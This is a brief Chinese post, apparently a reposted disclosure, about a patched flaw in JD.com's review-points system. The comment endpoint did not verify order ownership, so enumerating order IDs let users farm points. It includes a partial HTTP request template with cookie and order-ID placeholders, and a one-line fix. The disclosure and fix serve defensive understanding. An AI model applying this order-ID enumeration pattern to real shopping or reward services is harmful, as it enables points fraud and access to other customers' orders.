京东商城刷积分（已修复） - 网站安全 - 自学p

新闻报道： http://HdhCmsTest2cto测试数据/News/201210/164987.html 京东商城购物完成后,评价大于100元的商品,可以获得2积分.但订单没有判断是否是自己的订单.可遍历订单号.刷积分.

 

Host: market.360buy测试数据

Connection: keep-alive

Origin: http://market.360buy测试数据

Content-Type: application/x-www-form-urlencoded

Referer: http://market.360buy测试数据/JdVote/TradeComment.aspx?ruleid=订单ID

Accept-Encoding: gzip,deflate,sdch

Cookie: //选择自己登录帐号的cookie

 

__VIEWSTATE=%2FwEPDwUKLTUwMDExOTM4NmRkZrYhmLNgGlJ8UkLhdtmyQgAAAAA%3D&__EVENTVALIDATION=%2FwEWAgLJwd6dDgLhzbL9DzQla7Kw%2FebVQMxO6TJAYW8AAAAA&hischeck1=1...此处抓取随便一次评价的表单内容

 

 

 

修复方案： 评价后台先判断是否自己的订单

 

查看更多关于京东商城刷积分（已修复） - 网站安全 - 自学p的详细内容...